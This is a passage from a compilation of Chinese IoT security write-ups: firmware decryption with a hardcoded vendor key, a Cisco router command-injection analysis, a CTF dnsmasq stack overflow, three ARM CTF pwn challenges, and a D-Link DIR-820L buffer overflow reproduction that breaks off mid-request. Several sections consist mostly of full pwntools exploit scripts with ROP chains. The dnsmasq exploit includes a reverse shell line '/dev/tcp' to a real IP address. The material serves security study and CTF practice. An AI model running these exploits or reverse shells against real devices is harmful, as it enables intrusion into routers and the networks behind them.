./squashfs-root-0/usr/lib/opkg/status:416:Depends: libc, libopenssl, libopensslconf
|
||||
./squashfs-root-0/usr/lib/opkg/status:515:Depends: libc, skynet, openssl-util
|
||||
./squashfs-root-0/usr/lib/opkg/status:1321:Depends: libc, libpcre, libopenssl,
|
||||
zlib, liblua, libpthread, libubus, libblobmsg-json, libjson-c, libopenssl
|
||||
./squashfs-root-0/usr/lib/opkg/status:1899:Package: libopenssl-conf
|
||||
./squashfs-root-0/usr/lib/opkg/status:1901:Depends: libc, libopenssl
|
||||
./squashfs-root-0/usr/lib/opkg/status:1905: /etc/ssl/openssl.cnf
|
||||
58e084d4ae684846199e34a6e427ee75bdbf60ecb44311011906784b652a4e75
|
||||
./squashfs-root-0/usr/lib/opkg/status:2364:Depends: libc, libopenssl, libpthread,
|
||||
libcap
|
||||
./squashfs-root-0/usr/lib/opkg/status:2482:Depends: libc, libopenssl
|
||||
./squashfs-root-0/usr/lib/opkg/status:2537:Package: libopenssl
|
||||
Binary file ./squashfs-root-0/usr/lib/sftp-server matches
|
||||
./squashfs-root-0/usr/sbin/check_ready:15:openssl aes-256-cbc -d -salt -in $fw -
|
||||
out /tmp/decrypt.img -k "QiLunSmartWL"
|
||||
Binary file ./squashfs-root-0/usr/sbin/dpiPlugin matches
|
||||
./squashfs-root-0/usr/sbin/eoscrypt-tool:11: encrypt_str=$(echo
|
||||
"${source_str}" | openssl enc -e -aes-256-cbc -a -K ${key} -iv ${iv} -nosalt)
|
||||
./squashfs-root-0/usr/sbin/eoscrypt-tool:18: decrypt_str=$(echo
|
||||
"${source_str}" | openssl enc -e -aes-256-cbc -a -K ${key} -iv ${iv} -nosalt -d)
|
||||
Binary file ./squashfs-root-0/usr/sbin/managePlugin matches
|
||||
Binary file ./squashfs-root-0/usr/sbin/nginx matches
|
||||
./squashfs-root-0/usr/sbin/openssltar.sh:2:OPENSSL=openssl
|
||||
Binary file ./squashfs-root-0/usr/sbin/wpad matches
|
||||
./squashfs-root-0/usr/share/skynet/lualib/http/websocket.lua:353: --
|
||||
openssl req -x509 -newkey rsa:2048 -days 3650 -nodes -keyout server-key.pem -out
|
||||
server-cert.pem
|
||||
./squashfs-root-0/usr/share/sysmgr/apps/sysbackup.sh:24: timeout -t 10
|
||||
openssltar.sh tar $backupdir $outpath wjrc0409
|
||||
./squashfs-root-0/usr/share/sysmgr/apps/sysbackup.sh:25: test $? -eq 0 ||
|
||||
err_exit "openssltar.sh tar fail"
|
||||
./squashfs-root-0/usr/share/sysmgr/apps/sysbackup.sh:38: timeout -t 10
|
||||
openssltar.sh untar $inpath $recover_dir wjrc0409
|
||||
./squashfs-root-0/usr/share/sysmgr/apps/sysbackup.sh:39: test $? -eq 0 ||
|
||||
err_exit "openssltar.sh tar fail"
|
||||
```
|
||||
|
||||
发现其中有一行特别像解密的方式
|
||||
|
||||
```shell
|
||||
./squashfs-root-0/usr/sbin/check_ready:15:openssl aes-256-cbc -d -salt -in $fw -
|
||||
out /tmp/decrypt.img -k "QiLunSmartWL"
|
||||
```
|
||||
|
||||
我们定位到这个文件,查看详细内容
|
||||
|
||||
```shell
|
||||
❯ cat check_ready
|
||||
#!/bin/sh
|
||||
fw=$1
|
||||
fw_size=`ls -l $fw | awk '{print $5}'`
|
||||
fw_size=$((fw_size-32))
|
||||
test $fw_size -le 0 && {
|
||||
echo Fail: bad file size
|
||||
exit 255
|
||||
}
|
||||
truncate -c -s$fw_size $fw
|
||||
rm -rf /tmp/UploadBrush
|
||||
mkdir -p /tmp/UploadBrush
|
||||
openssl aes-256-cbc -d -salt -in $fw -out /tmp/decrypt.img -k "QiLunSmartWL"
|
||||
rm -f $fw
|
||||
tar -zxf /tmp/decrypt.img -C /tmp/UploadBrush/
|
||||
rm -f /tmp/decrypt.img
|
||||
rm -f /tmp/readme.txt
|
||||
old_version=`lua /usr/share/base-config/boardcfg.lua upgrade`
|
||||
bin_random1=`md5sum /tmp/UploadBrush/UploadBrush-bin.img | awk '{print $1}'`
|
||||
bin_random1=${bin_random1}`echo -n ${old_version} | md5sum | awk '{print $1}'`
|
||||
bin_random1=`echo -n ${bin_random1} | md5sum | awk '{print $1}'`
|
||||
bin_random2=`cat /tmp/UploadBrush/bin_random_oem.txt`
|
||||
if [ "x${bin_random1}" != "x${bin_random2}" ]; then
|
||||
echo Fail
|
||||
exit 255
|
||||
fi
|
||||
oldversion=`cat /etc/openwrt_release | grep DISTRIB_RELEASE | sed -r 's/[^0-
|
||||
9]//g'`
|
||||
newversion=1
|
||||
test -r /tmp/UploadBrush/version.txt && newversion=`cat
|
||||
/tmp/UploadBrush/version.txt | sed -r 's/[^0-9]//g'`
|
||||
```
|
||||
|
||||
整体逻辑确实是固件升级校验的过程,为了确认,尝试回溯调用逻辑。
|
||||
|
||||
```shell
|
||||
❯ grep -rn check_ready
|
||||
squashfs-root/usr/lib/opkg/info/base-config.list:86:/usr/sbin/check_ready
|
||||
squashfs-root/usr/share/admin-web/admin/model/system.lua:401: local cmd_check =
|
||||
string.format("check_ready %s", firmware)
|
||||
squashfs-root/usr/share/frontend/snax/system/upgrade.lua:157: local cmd_check =
|
||||
string.format("check_ready %s", filepath)
|
||||
squashfs-root-0/usr/lib/opkg/info/base-config.list:87:/usr/sbin/check_ready
|
||||
squashfs-root-0/usr/share/admin-web/admin/model/system.lua:401: local cmd_check =
|
||||
string.format("check_ready %s", firmware)
|
||||
squashfs-root-0/usr/share/frontend/snax/system/upgrade.lua:157: local cmd_check =
|
||||
string.format("check_ready %s", filepath)
|
||||
```
|
||||
|
||||
发现在多个`.lua`脚本中均调用了该脚本。
|
||||
|
||||
```shell
|
||||
cat upgrade.lua | grep -A 5 -B 5 check_ready
|
||||
os.remove(filepath)
|
||||
log:error("invalid version 2 new:%s old:", new_version, version)
|
||||
return nil, myerr.INTERNAL_ERROR
|
||||
end
|
||||
local cmd_check = string.format("check_ready %s", filepath)
|
||||
local str = popen(cmd_check)
|
||||
if not str then
|
||||
clean_upload()
|
||||
return nil, "invalid version 3"
|
||||
end
|
||||
```
|
||||
|
||||
这样基本可以确定`check_ready.sh`为升级包校验的脚本,可以使用该脚本中的密钥进行解密。
|
||||
|
||||
```shell
|
||||
❯ openssl aes-256-cbc -d -salt -in TB-WR1800K-MT7621-CPE-mAX19-V1.0-202012121212
|
||||
-out ./test.img -k "QiLunSmartWL"
|
||||
*** WARNING : deprecated key derivation used.
|
||||
Using -iter or -pbkdf2 would be better.
|
||||
bad decrypt
|
||||
140349527483520:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad
|
||||
decrypt:crypto/evp/evp_enc.c:610:
|
||||
❯ file test.img
|
||||
test.img: gzip compressed data, last modified: Fri Mar 12 12:42:16 2021, from
|
||||
Unix
|
||||
```
|
||||
|
||||
后面就跟正常的固件一样了,一次解包。
|
||||
### 总结
|
||||
这个是一个比较简单的例子,密钥硬编码,一句命令就能解开,有些需要逆向可执行文件,然后写脚本才可以解密,思路是相通的,后面有时间再写一篇。
|
||||
|
||||
## 参考链接
|
||||
[https://paper.seebug.org/1651/](https://paper.seebug.org/1651/)
|
||||
[https://www.freebuf.com/articles/terminal/226696.html](https://www.freebuf.com/articles/terminal/226696.html)
|
||||
@@ -0,0 +1,49 @@
|
||||
# 从1day分析到0day挖掘
|
||||
> ChaMd5
|
||||
> 来源:https://www.iotsec-zone.com/article/372
|
||||
|
||||
# 前言
|
||||
拿到一个iot设备,笔者比较喜欢先去看一下它的历史漏洞,也许可以从中得到一些启发。发现Cisco之前修补过这个系列设备的命令注入漏洞。
|
||||
|
||||
[https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-command-inject-BY4c5zd](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-command-inject-BY4c5zd)
|
||||
|
||||

|
||||
|
||||
# 1day分析
|
||||
因为漏洞通告中有相关固件版本,于是我就去diff了一下修补前和修补后两个固件。
|
||||
|
||||

|
||||
|
||||
在ssi.cgi这个文件当中,笔者发现修复之后的固件比修复前的固件多出了两个函数,那么大概率就是通过这两个函数对存在命令注入的地方加上了检查以修复命令注入漏洞。直接看一下修复之后的固件里的NK_CHECK_LANGUAGE函数。很明显,这个函数的作用是对参数进行了判断和设置,和我们预想的一致。那么旧版本固件中存在的命令注入漏洞大概率出现在这个函数的上层函数中。
|
||||
|
||||

|
||||
|
||||
通过交叉引用,我们可以很轻松地找到其上层函数是NK_UiLanguageChange,我们看一下修补前的固件中的这个函数实现了什么功能。通过函数名,大体可以判断出这个函数的作用应该是切换界面的语言。这个函数首先获取了submitStatus和changelanguage的值,经过一些判断后,把changelanguage的值作为参数传进CreateFormatFile函数中。
|
||||
|
||||

|
||||
|
||||
我们继续去看一下CreateFormatFile函数。很明显,这个函数由于传进来的参数param_1没有进过任何检查,存在一个命令注入漏洞。
|
||||
|
||||

|
||||
|
||||
这个漏洞的修复方式也很简单,直接用NK_CHECK_LANGUAGE函数对参数进行了过滤。
|
||||
|
||||
# 捕获0day
|
||||
|
||||
**漏洞分析**
|
||||
|
||||
知道这个漏洞的前因后果之后,笔者就在想这个被修复之后的固件当中是否依旧可能存在一些没有过滤或者过滤不完整的地方。就去看了一些感觉可能存在漏洞的函数,后来就找到了NK_UiSetPassword这个函数,这个函数的作用是更改用户的密码。
|
||||
|
||||

|
||||
|
||||
虽然这个函数中对参数进行了一定的过滤,但是这里对于危险字符过滤的并不是很严谨,所以这里也存在一个命令注入漏洞。
|
||||
|
||||

|
||||
|
||||
其它地方应该也会存在不少类似的漏洞,但是笔者这里就没有继续去看了,感兴趣的师傅也许可以去找看看。Poc就帮师傅删了
|
||||
|
||||
### Notices
|
||||
|
||||
目前该漏洞已经提交给了思科厂商,思科已确认了该漏洞。[https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv01x_rv32x_rce-nzAGWWDD](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv01x_rv32x_rce-nzAGWWDD)
|
||||
|
||||

|
||||
@@ -0,0 +1,173 @@
|
||||
# 从一道CTF题目看DNS服务漏洞
|
||||
> Ayaka
|
||||
> 来源:https://www.iotsec-zone.com/article/309
|
||||
|
||||
#题目信息:
|
||||
题目来自2022年XCTF分站赛-ACTF中的一道pwn题,考点在于DNS服务器漏洞的发现与利用,其中DNS服务器采用的是IOT领域常见的Dnsmasq
|
||||

|
||||
|
||||
题目描述:
|
||||
```
|
||||
I heard that you are proficient in the DNS protocol, there is just a chance to verify your ability, come and join to solve it.
|
||||
```
|
||||
题目附件:[https://github.com/team-s2/ACTF-2022/tree/main/pwn/master_of_dns/attachments](https://github.com/team-s2/ACTF-2022/tree/main/pwn/master_of_dns/attachments)
|
||||
|
||||
执行命令启动程序:
|
||||
```python
|
||||
./start.sh
|
||||
```
|
||||
|
||||
启动的时候如果有如下报错
|
||||
```
|
||||
./start.sh: 7: netstat: not found
|
||||
```
|
||||
执行命令安装一下netstat即可:
|
||||
```bash
|
||||
sudo apt install net-tools
|
||||
```
|
||||
|
||||
启动之后可以输入以下命令进行测试:
|
||||
```
|
||||
dig @127.0.0.1 -p 9999 baidu.com
|
||||
```
|
||||
如果显示如下则说明题目启动成功
|
||||

|
||||
|
||||
题目所对应的真实软件是dnsmasq
|
||||

|
||||
|
||||
Dnsmasq为小型网络提供网络基础设施:DNS,DHCP,路由器通告和网络引导。它被设计为轻量级且占用空间小,适用于资源受限的路由器和防火墙。它还被广泛用于智能手机和便携式热点的共享,并支持虚拟化框架中的虚拟网络。
|
||||
|
||||
通过-v 命令查看一下版本:
|
||||

|
||||
|
||||
网站链接:[https://thekelleys.org.uk/dnsmasq/](https://thekelleys.org.uk/dnsmasq/)
|
||||
找到对应版本的源码下载下来
|
||||

|
||||
|
||||
对照程序的保护情况和gcc版本,在本地自己编译一份,这样不仅可以快速定位到漏洞,并且在调试和梳理程序逻辑的时候也更加简单。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
# 漏洞发掘
|
||||
通过bindiff等二进制比对软件,可以发现作者自己patch进去了一个危险的memcpy函数,即埋了一个漏洞进去。通过自己编译的程序可以看出,漏洞所在是extract_name函数,在末尾多了一个memcpy函数,这种函数通常意味着可能会存在栈溢出,堆溢出等缓冲区溢出的漏洞。并且题目没有开canary,所以栈溢出的面非常大。
|
||||
|
||||

|
||||
|
||||
其中src是extract_name的一个参数,并且是一个字符串指针,dest则是栈上的一段缓冲区。
|
||||
|
||||

|
||||
|
||||
从反汇编代码来看,程序会将域名通过'.'来分割,每段的第一个字节是当前段的长度字段,后面跟着的是域名本体,并且总长度不能超过0x400
|
||||
|
||||

|
||||
|
||||
下面还有一个大写字符转小写的处理操作
|
||||
|
||||
接下来为了验证栈溢出漏洞存在,我们尝试发送一个域名非常长的查询请求。
|
||||

|
||||
|
||||
但是并没有如期令程序崩溃,而是给出了一个报错:
|
||||
```
|
||||
domain label longer than 63 characters
|
||||
```
|
||||
即两个点之间的label长度不能超过63个字节。
|
||||
|
||||
栈溢出需要精确控制字节数量,为了更加细致的了解数据包结构,可以用wireshark抓个包看看,我是用的虚拟机ubuntu环境来做的这个题,所以wireshark网卡抓包的时候选择
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
成功抓到DNS协议的包,看一下请求包结构:
|
||||

|
||||
|
||||
其中前两个字节是ID,对于本道题目来说没啥用,中间是一些标志位,直接抄就行,然后是查询语句,可以看到原来的baidu.com中的点已经变成了label length。最后固定的以两个\x00\x01结尾。
|
||||
|
||||

|
||||
|
||||
dest距离栈底是0x381,每个label的长度为63的label和1的label length即0x40
|
||||
也就是说至少需要14个完整的0x40的label,第15个label就可以到达栈底,进行栈溢出和rop链的布置,14个0x40是0x380,想要覆盖eip应该要覆盖到0x386位置的数据才能做到。
|
||||

|
||||
|
||||
但是在写payload的时候就发现,直接通过执行命令的方式做似乎不太行,因为一些特殊字符并不合法,所以还是要构造udp数据包然后直接向9999端口发包触发。
|
||||
|
||||
于是手动构造包结构,我们只需要关注udp里的DNS数据包即可,其余的pwntools会帮我们做好:
|
||||
```python
|
||||
from pwn import *
|
||||
io = remote("127.0.0.1",9999,typ='udp')
|
||||
payload=b'\x3f'+b'a'*0x3f
|
||||
payload=payload*14+b'\x09'+b'aaaaa'+p32(0xdeadbeef)+p8(0)
|
||||
head = bytes.fromhex("000001200001000000000001")
|
||||
end = bytes.fromhex("00010001")
|
||||
|
||||
io.send(head + payload + end)
|
||||
```
|
||||
|
||||
查询一下是哪个进程在监听9999端口:
|
||||
```
|
||||
sudo netstat -nlp | grep 9999
|
||||
```
|
||||

|
||||
|
||||
然后用gdb attach上去
|
||||
```
|
||||
sudo gdb --pid 12469
|
||||
```
|
||||
然后发送udp包,查看gdb状态:
|
||||

|
||||
|
||||
可以看到eip被劫持成了0xdeadbeef,所以栈溢出漏洞存在并且可被利用。
|
||||
|
||||
# 漏洞利用
|
||||
|
||||
能够控制返回地址之后,需要想办法获取shell或者flag,直接执行system("/bin/sh")是不太现实了,udp协议不支持这种形式,比较理想的是能够反弹一个shell到我们自己的vps上,不行的话也可以通过wget或者nc等方式将flag通过其他方式带出来,这一切的前提是需要能够做到命令注入或者命令执行,程序中并没有system函数,但是好在有popen函数,popen会将第一个参数放到新fork出来的进程中执行并抓取返回结果,所以也有命令执行的效果。
|
||||
|
||||
之前在bindiff的过程中,还会发现作者新增了一个类似gadget的东西进去
|
||||

|
||||
|
||||
这意味着只要我们能够控制eax,就能够进行一个任意地址写,而事实上也的确存在这样的gadget:
|
||||

|
||||
|
||||
接下来就可以写ROP链了,将要执行的指令拆分成若干个4字节,然后通过上面的magic gadget写到bss段上去,最后通过popen执行,可以形成如下payload:
|
||||
```python
|
||||
from pwn import *
|
||||
io = remote("127.0.0.1",9999,typ='udp')
|
||||
magic=0x804b2b1
|
||||
rax_ret=0x08059d44
|
||||
head = bytes.fromhex("000001200001000000000001")
|
||||
end = bytes.fromhex("00010001")
|
||||
bss=0x80a7070
|
||||
edx_ret=0x0807ec72
|
||||
popen_addr = 0x804ab40
|
||||
exit_addr = 0x804ad30
|
||||
w_addr=0x080A6660
|
||||
|
||||
payload=b'\x3f'+b'a'*0x3f
|
||||
payload=payload*14+b'\x3d'+b'aaaaa'
|
||||
|
||||
payload1=b''
|
||||
payload2=b''
|
||||
|
||||
value=[]
|
||||
cmd = b'/bin/sh -i >& /dev/tcp/1.117.96.138/123 0>&1'#len=44
|
||||
for i in range(11):
|
||||
value.append(u32(cmd[i:i+4]))
|
||||
|
||||
payload1+=p32(rax_ret)+p32(bss)
|
||||
for i in range(6):
|
||||
payload1+=p32(magic)+p32(value[i]^0xffffffff)
|
||||
|
||||
payload1+=b'\x3f'
|
||||
payload1+=b'\xa9\x04\x08'
|
||||
|
||||
for i in range(6,11):
|
||||
payload2+=p32(magic)+p32(value[i]^0xffffffff)
|
||||
payload2+=p32(popen_addr)+p32(exit_addr)+p32(bss+4)+p32(w_addr)+b'aaaa\x00'
|
||||
|
||||
io.send(head + payload+payload1+payload2 + end)
|
||||
```
|
||||
然后再自己vps上监听指定端口就可以拿到shell了
|
||||

|
||||
@@ -0,0 +1,217 @@
|
||||
# 从三道CTF赛题看arm栈溢出
|
||||
> 偏有宸机
|
||||
> 来源:https://www.iotsec-zone.com/article/43
|
||||
|
||||
## Xman2018-pwn
|
||||
|
||||
程序开启了canary保护,不过存在两次输入的情况,可以利用第一次的输入来带出canary的值,用于第二次输入时的溢出。
|
||||
|
||||
经过在gdb中的测试可得知前面填充`0x18`个字符串,即可带出`canary`的值
|
||||

|
||||
|
||||
之后由于程序中存在`system`和`/bin/sh`字符串的原因,我们可以直接拼接rop来完成溢出
|
||||
但前提是我们需要有足够的gadgets来保持堆栈平衡,而构造rop的结构则应该为
|
||||
```
|
||||
R0 -> /bin/sh
|
||||
Pc -> system_plt
|
||||
```
|
||||
但是由于找不到`pop r0`寄存器的原因,则只能迂回利用r7寄存器保存/bin/sh字符串,再通过`mov r0,r7 `来保存到r0 寄存器中
|
||||
|
||||
因此需要先找到下面三条gadgets
|
||||
```
|
||||
pop_r3_pc = 0x000104a8 # 0x000104a8 : pop {r3, pc}
|
||||
pop_r4_to_pc = 0x00010804 # 0x00010804 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
|
||||
mov_r0_r7_call = 0x000107f4 # 0x000107f4 : mov r0, r7 ; blx r3
|
||||
```
|
||||

|
||||
|
||||
最终的exp:
|
||||
|
||||
```
|
||||
from pwn import *
|
||||
context.arch="arm"
|
||||
context.log_level = "debug"
|
||||
# context.terminal = ["tmux","new-window"]
|
||||
fileName = "./pwn"
|
||||
sh = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", fileName])
|
||||
# sh = process(["qemu-arm","-g","1234","-L", "/usr/arm-linux-gnueabi", fileName])
|
||||
elf = ELF(fileName)
|
||||
libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
|
||||
# p = remote('39.105.216.229', 9991)
|
||||
# sh.recvline()
|
||||
sh.send("a" * 20)
|
||||
sh.recvuntil("\x61\x61\x61\x00")
|
||||
canary = u32(sh.recv(4))
|
||||
sh.recv(4)
|
||||
success(hex(canary))
|
||||
print(sh.recvuntil("Come"))
|
||||
|
||||
system = 0x00104FC
|
||||
binsh = 0x21044
|
||||
pop_r3_pc = 0x000104a8 # 0x000104a8 : pop {r3, pc}
|
||||
pop_r4_to_pc = 0x00010804 # 0x00010804 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
|
||||
mov_r0_r7_call = 0x000107f4 # 0x000107f4 : mov r0, r7 ; blx r3
|
||||
|
||||
payload = p32(pop_r4_to_pc)
|
||||
payload += p32(0) # R4
|
||||
payload += p32(0) # R5
|
||||
payload += p32(0) # R6
|
||||
payload += p32(binsh) # R7
|
||||
payload += p32(0) # R8
|
||||
payload += p32(0) # SB
|
||||
payload += p32(0) # SL
|
||||
payload += p32(pop_r3_pc)
|
||||
payload += p32(system)
|
||||
payload += p32(mov_r0_r7_call)
|
||||
pay = b'A' * 24 + p32(canary) + p32(0xdeadbeef) + payload
|
||||
|
||||
sh.sendline(pay)
|
||||
sh.interactive()
|
||||
```
|
||||
## JarvisOJ-Typo
|
||||
|
||||
首先是程序被剥离了符号表,但是通过程序中的`/bin/sh`字符串的交叉引用可以推测出`0x110b4`便是system函数
|
||||

|
||||
之后就是确定程序的溢出点,对此我们可以直接使用cyclic来在gdb中测试
|
||||
同样的要先使用`qemu-arm -g` 加端口,在用`gdb-multiarch`来打开gdb设置参数进行测试
|
||||

|
||||
|
||||
最后得出偏移为`112`
|
||||
|
||||
之后我们使用ROPGadget工具来找到可以控制r0寄存器的gadgets
|
||||

|
||||
得到的是`pop r0,r4,pc`,那么我们所应构造的rop结构则应为
|
||||

|
||||

|
||||
注意:
|
||||
|
||||
在写exp调试时,可以通过pause来下断点 同时exp中的process要加上端口
|
||||
|
||||
最后再在gdb中continue即可断下
|
||||
```
|
||||
from pwn import *
|
||||
context.arch="arm"
|
||||
# context.log_level = "debug"
|
||||
# context.terminal = ["tmux","new-window"]
|
||||
fileName = "./typo"
|
||||
sh = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", fileName])
|
||||
# sh = process(["qemu-arm","-g","1234","-L", "/usr/arm-linux-gnueabi", fileName])
|
||||
elf = ELF(fileName)
|
||||
libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
|
||||
|
||||
binsh = 0x0006c384 #0x0006c384 : /bin/sh
|
||||
pop_r0_r4_pc = 0x20904 #0x00020904 : pop {r0, r4, pc}
|
||||
system = 0x110B4
|
||||
sh.sendafter("quit\n", "\n")
|
||||
sh.recvline()
|
||||
sh.recvuntil("\n")
|
||||
pause()
|
||||
payload = b"a"*112
|
||||
payload += p32(pop_r0_r4_pc)
|
||||
payload += p32(binsh)
|
||||
payload += p32(binsh)
|
||||
payload += p32(system)
|
||||
sh.sendline(payload)
|
||||
sh.interactive()
|
||||
```
|
||||
## [ret2libc]Codegate2018-melong
|
||||
|
||||
使用ida分析,乍一看似乎没什么漏洞点,但是仔细分析到选项4的`write_diary`中
|
||||
|
||||
可以看到其read的参数都可以由用户来控制,那么便意味着我们可以控制其进行溢出
|
||||
|
||||

|
||||
但是要执行到该函数的话,是需要条件的,一步步向上分析可以先看到 我们需要先让`write_size `这个变量不能为0,而这个write_size的值则是由选项3中的PT函数控制的。
|
||||
|
||||

|
||||
进到PT函数中,会让用户输入一个size,再拿由size申请的一块地址与exc2变量的值做比较,相等才可以进入该分支。
|
||||
|
||||
而这里的绕过ptr==exc2的方法原理很简单,我们可以输入一个负值的size,之后malloc(-x)的结果就不会成立,其ptr便会等于0,所以ptr便等于了exc2的同时size还能有一个较大的值用于后面的溢出。
|
||||
|
||||

|
||||
之后就可以正常进行溢出了,但是需要注意,要实现控制pc需要在选项4中填充完数据后,再执行选项6才可以完成溢出
|
||||

|
||||
## 需要注意的两点
|
||||
|
||||
1. 在第一次溢出完返回main函数的时候若要控制需要有28字节的填充数据用于覆盖r4-r10寄存器即 7*4=28(如果不确定具体是多少位,可以使用cyclic来测试)
|
||||

|
||||
|
||||
2. 不清楚为什么在使用libc.search搜索“/bin/sh”字符串得到的结果是这样的,而且不能用.next()方法
|
||||

|
||||
最后手动搜索,加上libc_base即可
|
||||

|
||||
|
||||
|
||||
exp:
|
||||
```
|
||||
from pwn import *
|
||||
context.arch="arm"
|
||||
context.log_level = "debug"
|
||||
# context.terminal = ["tmux","new-window"]
|
||||
fileName = "./melong"
|
||||
# sh = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi", fileName])
|
||||
sh = process(["qemu-arm","-g","1234","-L", "/usr/arm-linux-gnueabi", fileName])
|
||||
elf = ELF(fileName)
|
||||
libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
|
||||
def checkBmi(height,weight):
|
||||
sh.recvuntil("Type the number:")
|
||||
sh.sendline("1")
|
||||
sh.sendlineafter("meters) : ",str(height))
|
||||
sh.sendlineafter("kilograms) : ",str(weight))
|
||||
def register(size):
|
||||
sh.recvuntil("Type the number:")
|
||||
sh.sendline("3")
|
||||
sh.sendlineafter("training?\n",str(size))
|
||||
def write_daily(daily):
|
||||
sh.recvuntil("Type the number:")
|
||||
sh.sendline("4")
|
||||
sh.sendline(daily)
|
||||
sh.recvuntil("Type the number:")
|
||||
sh.sendline("6")
|
||||
|
||||
checkBmi(20,20)
|
||||
register(-10)
|
||||
puts_got = elf.got["puts"]
|
||||
puts_plt = elf.plt["puts"]
|
||||
main_addr = elf.sym["main"]
|
||||
success("puts_got => 0x%x",puts_got)
|
||||
pop_r0_pc = 0x11bbc # 0x00011bbc : pop {r0, pc}
|
||||
payload = b"a"*84
|
||||
payload += p32(pop_r0_pc)
|
||||
payload += p32(puts_got)
|
||||
payload += p32(puts_plt)
|
||||
payload += b"a"*28 # r4 - r10
|
||||
payload += p32(main_addr)
|
||||
write_daily(payload)
|
||||
sh.recvuntil("See you again :)\n")
|
||||
puts_addr = u32(sh.recv(4))
|
||||
success("puts_addr => 0x%x",puts_addr)
|
||||
# pause()
|
||||
libc_base = puts_addr - libc.sym["puts"]
|
||||
system_addr = libc.sym["system"]+libc_base
|
||||
# print(libc.search("/bin/sh"))
|
||||
# binsh = libc.search("$0") + libc_base
|
||||
success("system_addr => 0x%x",system_addr)
|
||||
checkBmi(20,20)
|
||||
register(-1)
|
||||
payload = b"a"*84
|
||||
payload += p32(pop_r0_pc)
|
||||
payload += p32(libc_base + 0x12121c) # 0x0012121c : /bin/sh
|
||||
payload += p32(system_addr)
|
||||
# write_daily(payload)
|
||||
sh.recvuntil("Type the number:")
|
||||
sh.sendline("4")
|
||||
sh.sendline(payload)
|
||||
pause()
|
||||
sh.recvuntil("Type the number:")
|
||||
sh.sendline("6")
|
||||
|
||||
# sh.sendline(payload)
|
||||
sh.interactive()
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
# 从看<漏洞复现到简单0day漏洞挖>后的简单0day挖掘
|
||||
> 庄周恋蝶蝶恋花
|
||||
> 来源:https://www.iotsec-zone.com/article/190
|
||||
|
||||
# 前提:
|
||||
[https://iotsec-zone.com/article?id=139](https://iotsec-zone.com/article?id=139)
|
||||
命令注入的这个洞我已经复现过,详情可以查看个人博客:
|
||||
[https://www.cnblogs.com/zhuangzhouQAQ/p/16219690.html](https://www.cnblogs.com/zhuangzhouQAQ/p/16219690.html)
|
||||
在查询固件版本时,发现固件版本已经由DIR820LA1_FW105b02更新为DIR820LA1_FW106B02
|
||||
于是尝试能否从更新后的版本挖掘出新的漏洞
|
||||
# 固件信息:
|
||||
型号:DIR820LA1_FW106B02
|
||||
下载链接:[https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-820L](https://www.dlinktw.com.tw/techsupport/ProductInfo.aspx?m=DIR-820L)
|
||||
# 漏洞分析:
|
||||
首先我们查看命令执行原因是因为hasInjectionString函数过滤不完全所以我们查看新版本修复我们是否可以去进行更进一步的绕过:
|
||||
`grep -r 'hasInjectionString'`
|
||||
|
||||

|
||||
|
||||
我们可以在lib/libleopard.so文件去查看该函数逻辑
|
||||
|
||||

|
||||
这是存在漏洞版本代码:
|
||||
|
||||

|
||||
可以看到相对于漏洞版本,新版本已经过滤的很多字符,因为我技术问题所以并未找到新的绕过方式
|
||||
于是我转换思路去挖掘二进制漏洞:
|
||||
缓冲区溢出的常见危险函数
|
||||

|
||||
这里借用别的师傅文章里面的图片,我们可以根据这些危险函数去进行排查
|
||||
##漏洞发现
|
||||
在二进制漏洞中,经常需要排查的改漏洞点的参数是否接受了前端传参从而决定着改漏洞是否成立
|
||||
在对代码进行分析时,我们可以看到'get_entry_value_by_name'这个函数常常用于处理前端传参,于是我们可以通过该函数进行排查
|
||||

|
||||
在sub_49F280中我们可以看到
|
||||

|
||||
再获取nextpage参数时,未进行过滤就直接通过strcpy复制到了v10里,所以我们可以通过这里输入超长字符串进行溢出
|
||||

|
||||
查看该传参页面并结合数据包进行分析,发现当发送数据ccp_act参数为cancelPing时,可以进入该逻辑分路,从而造成溢出,因为该岔路是处理ping页面,所以前端页面为tools_vct.asp
|
||||
##漏洞复现
|
||||
因为是d-link的路由器所以我们可以通过firmae去进行自动化环境搭建
|
||||
```c
|
||||
sudo ./init.sh
|
||||
```
|
||||
```c
|
||||
sudo ./run.sh -r DIR820L ./firmwares/DIR820LA1_FW106B02.bin
|
||||
```
|
||||
|
||||

|
||||
当出现俩个true时,说明已经自动化模拟成功
|
||||
访问给的ip,d-link初始密码为空,进入访问页面如下,
|
||||

|
||||
抓包,构建如下数据包
|
||||
```c
|
||||
POST /ping.ccp HTTP/1.1
|
||||
|
||||
Host: 192.168.0.1
|
||||
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
|
||||
|
||||
Accept: */*
|
||||
|
||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||||
|
||||
Accept-Encoding: gzip, deflate
|
||||
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
X-Requested-With: XMLHttpRequest
|
||||
|
||||
Content-Length: 17056
|
||||
|
||||
Origin: http://192.168.0.1
|
||||
|
||||
Connection: close
|
||||
|
||||
Referer: http://192.168.0.1/tools_vct.asp
|
||||
|
||||
Cookie: xxid=1488794641; hasLogin=1
|
||||
|
||||
